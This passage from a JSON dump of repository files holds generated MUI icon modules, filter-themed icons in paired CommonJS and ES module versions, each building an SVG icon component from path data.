1.1.9 2 2 2m14-10V7c0-1.11-.9-2-2-2h-2c-1.1 0-2 .89-2 2v2c0 1.11.9 2 2 2h2v2h-4v2h4c1.1 0 2-.89 2-2m-4-4V7h2v2z\"\n}, \"1\")], 'Filter9TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Filter9TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7h2v2h-2zM7 17h14V3H7zm4-4h4v-2h-2c-1.1 0-2-.89-2-2V7c0-1.11.9-2 2-2h2c1.1 0 2 .89 2 2v6c0 1.11-.9 2-2 2h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 16H7V3h14zM3 23h16v-2H3V5H1v16c0 1.1.9 2 2 2m14-10V7c0-1.11-.9-2-2-2h-2c-1.1 0-2 .89-2 2v2c0 1.11.9 2 2 2h2v2h-4v2h4c1.1 0 2-.89 2-2m-4-4V7h2v2z\"\n}, \"1\")], 'Filter9TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.25 5.61C6.27 8.2 10 13 10 13v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-6s3.72-4.8 5.74-7.39c.51-.66.04-1.61-.79-1.61H5.04c-.83 0-1.3.95-.79 1.61\"\n}), 'FilterAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.25 5.61C6.27 8.2 10 13 10 13v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-6s3.72-4.8 5.74-7.39c.51-.66.04-1.61-.79-1.61H5.04c-.83 0-1.3.95-.79 1.61\"\n}), 'FilterAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.79 5.61C20.3 4.95 19.83 4 19 4H6.83l7.97 7.97zM2.81 2.81 1.39 4.22 10 13v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-2.17l5.78 5.78 1.41-1.41z\"\n}), 'FilterAltOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.79 5.61C20.3 4.95 19.83 4 19 4H6.83l7.97 7.97zM2.81 2.81 1.39 4.22 10 13v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-2.17l5.78 5.78 1.41-1.41z\"\n}), 'FilterAltOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.95 6-3.57 4.55 1.43 1.43c1.03-1.31 4.98-6.37 4.98-6.37C20.3 4.95 19.83 4 19 4H6.83l2 2zM2.81 2.81 1.39 4.22 10 13v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-2.17l5.78 5.78 1.41-1.41z\"\n}), 'FilterAltOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.95 6-3.57 4.55 1.43 1.43c1.03-1.31 4.98-6.37 4.98-6.37C20.3 4.95 19.83 4 19 4H6.83l2 2zM2.81 2.81 1.39 4.22 10 13v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-2.17l5.78 5.78 1.41-1.41z\"\n}), 'FilterAltOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.79 5.61C20.3 4.95 19.83 4 19 4H6.83l7.97 7.97zm.7 14.88L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L10 13v5c0 1.1.9 2 2 2s2-.9 2-2v-1.17l5.07 5.07c.39.39 1.02.39 1.41 0s.4-1.02.01-1.41\"\n}), 'FilterAltOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.79 5.61C20.3 4.95 19.83 4 19 4H6.83l7.97 7.97zm.7 14.88L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L10 13v5c0 1.1.9 2 2 2s2-.9 2-2v-1.17l5.07 5.07c.39.39 1.02.39 1.41 0s.4-1.02.01-1.41\"\n}), 'FilterAltOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.05 4H6.83l7.97 7.97zM2.81 2.81 1.39 4.22 10 13v7h4v-3.17l5.78 5.78 1.41-1.42z\"\n}), 'FilterAltOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.05 4H6.83l7.97 7.97zM2.81 2.81 1.39 4.22 10 13v7h4v-3.17l5.78 5.78 1.41-1.42z\"\n}), 'FilterAltOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.83 6h8.12l-3.57 4.55z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.95 6-3.57 4.55 1.43 1.43c1.03-1.31 4.98-6.37 4.98-6.37C20.3 4.95 19.83 4 19 4H6.83l2 2zM2.81 2.81 1.39 4.22 10 13v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-2.17l5.78 5.78 1.41-1.41z\"\n}, \"1\")], 'FilterAltOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.83 6h8.12l-3.57 4.55z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.95 6-3.57 4.55 1.43 1.43c1.03-1.31 4.98-6.37 4.98-6.37C20.3 4.95 19.83 4 19 4H6.83l2 2zM2.81 2.81 1.39 4.22 10 13v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-2.17l5.78 5.78 1.41-1.41z\"\n}, \"1\")], 'FilterAltOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 6h10l-5.01 6.3zm-2.75-.39C6.27 8.2 10 13 10 13v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-6s3.72-4.8 5.74-7.39c.51-.66.04-1.61-.79-1.61H5.04c-.83 0-1.3.95-.79 1.61\"\n}), 'FilterAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 6h10l-5.01 6.3zm-2.75-.39C6.27 8.2 10 13 10 13v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-6s3.72-4.8 5.74-7.39c.51-.66.04-1.61-.79-1.61H5.04c-.83 0-1.3.95-.79 1.61\"\n}), 'FilterAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.25 5.61C6.57 8.59 10 13 10 13v5c0 1.1.9 2 2 2s2-.9 2-2v-5s3.43-4.41 5.75-7.39c.51-.66.04-1.61-.8-1.61H5.04c-.83 0-1.3.95-.79 1.61\"\n}), 'FilterAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.25 5.61C6.57 8.59 10 13 10 13v5c0 1.1.9 2 2 2s2-.9 2-2v-5s3.43-4.41 5.75-7.39c.51-.66.04-1.61-.8-1.61H5.04c-.83 0-1.3.95-.79 1.61\"\n}), 'FilterAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 4c2.01 2.59 7 9 7 9v7h4v-7s4.98-6.41 7-9z\"\n}), 'FilterAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 4c2.01 2.59 7 9 7 9v7h4v-7s4.98-6.41 7-9z\"\n}), 'FilterAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 6h10l-5.01 6.3zm-2.75-.39C6.27 8.2 10 13 10 13v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-6s3.72-4.8 5.74-7.39c.51-.66.04-1.61-.79-1.61H5.04c-.83 0-1.3.95-.79 1.61\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 6h10l-5.01 6.3z\",\n  opacity: \".3\"\n}, \"1\")], 'FilterAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 6h10l-5.01 6.3zm-2.75-.39C6.27 8.2 10 13 10 13v6c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-6s3.72-4.8 5.74-7.39c.51-.66.04-1.61-.79-1.61H5.04c-.83 0-1.3.95-.79 1.61\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 6h10l-5.01 6.3z\",\n  opacity: \".3\"\n}, \"1\")], 'FilterAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterBAndW.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16-7-8v8H5l7-8V5h7z\"\n}), 'FilterBAndW');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterBAndW.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16-7-8v8H5l7-8V5h7z\"\n}), 'FilterBAndW');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterBAndWOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16-7-8v8H5l7-8V5h7z\"\n}), 'FilterBAndWOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterBAndWOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16-7-8v8H5l7-8V5h7z\"\n}), 'FilterBAndWOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterBAndWRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16-7-8v8H5l7-8V5h6c.55 0 1 .45 1 1z\"\n}), 'FilterBAndWRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterBAndWRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16-7-8v8H5l7-8V5h6c.55 0 1 .45 1 1z\"\n}), 'FilterBAndWRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterBAndWSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-2 16-7-8v8H5l7-8V5h7z\"\n}), 'FilterBAndWSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterBAndWSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-2 16-7-8v8H5l7-8V5h7z\"\n}), 'FilterBAndWSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterBAndWTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5h-7v6l7 8zm-7 14v-8l-7 8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2m-9 0H5l7-8V5h7v14l-7-8z\"\n}, \"1\")], 'FilterBAndWTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterBAndWTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5h-7v6l7 8zm-7 14v-8l-7 8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2m-9 0H5l7-8V5h7v14l-7-8z\"\n}, \"1\")], 'FilterBAndWTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterCenterFocus.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15H3v4c0 1.1.9 2 2 2h4v-2H5zM5 5h4V3H5c-1.1 0-2 .9-2 2v4h2zm14-2h-4v2h4v4h2V5c0-1.1-.9-2-2-2m0 16h-4v2h4c1.1 0 2-.9 2-2v-4h-2zM12 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'FilterCenterFocus');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterCenterFocus.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15H3v4c0 1.1.9 2 2 2h4v-2H5zM5 5h4V3H5c-1.1 0-2 .9-2 2v4h2zm14-2h-4v2h4v4h2V5c0-1.1-.9-2-2-2m0 16h-4v2h4c1.1 0 2-.9 2-2v-4h-2zM12 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'FilterCenterFocus');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterCenterFocusOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15H3v4c0 1.1.9 2 2 2h4v-2H5zM5 5h4V3H5c-1.1 0-2 .9-2 2v4h2zm14-2h-4v2h4v4h2V5c0-1.1-.9-2-2-2m0 16h-4v2h4c1.1 0 2-.9 2-2v-4h-2zM12 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'FilterCenterFocusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterCenterFocusOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15H3v4c0 1.1.9 2 2 2h4v-2H5zM5 5h4V3H5c-1.1 0-2 .9-2 2v4h2zm14-2h-4v2h4v4h2V5c0-1.1-.9-2-2-2m0 16h-4v2h4c1.1 0 2-.9 2-2v-4h-2zM12 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'FilterCenterFocusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterCenterFocusRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 15c-.55 0-1 .45-1 1v3c0 1.1.9 2 2 2h3c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1-.45-1-1v-2c0-.55-.45-1-1-1m1-9c0-.55.45-1 1-1h2c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.1 0-2 .9-2 2v3c0 .55.45 1 1 1s1-.45 1-1zm14-3h-3c-.55 0-1 .45-1 1s.45 1 1 1h2c.55 0 1 .45 1 1v2c0 .55.45 1 1 1s1-.45 1-1V5c0-1.1-.9-2-2-2m0 15c0 .55-.45 1-1 1h-2c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1s-1 .45-1 1zm-7-9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'FilterCenterFocusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterCenterFocusRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 15c-.55 0-1 .45-1 1v3c0 1.1.9 2 2 2h3c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1-.45-1-1v-2c0-.55-.45-1-1-1m1-9c0-.55.45-1 1-1h2c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.1 0-2 .9-2 2v3c0 .55.45 1 1 1s1-.45 1-1zm14-3h-3c-.55 0-1 .45-1 1s.45 1 1 1h2c.55 0 1 .45 1 1v2c0 .55.45 1 1 1s1-.45 1-1V5c0-1.1-.9-2-2-2m0 15c0 .55-.45 1-1 1h-2c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1s-1 .45-1 1zm-7-9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'FilterCenterFocusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterCenterFocusSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15H3v6h6v-2H5zM5 5h4V3H3v6h2zm16-2h-6v2h4v4h2zm-2 16h-4v2h6v-6h-2zM12 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3\"\n}), 'FilterCenterFocusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FilterCenterFocusSharp.mjs",
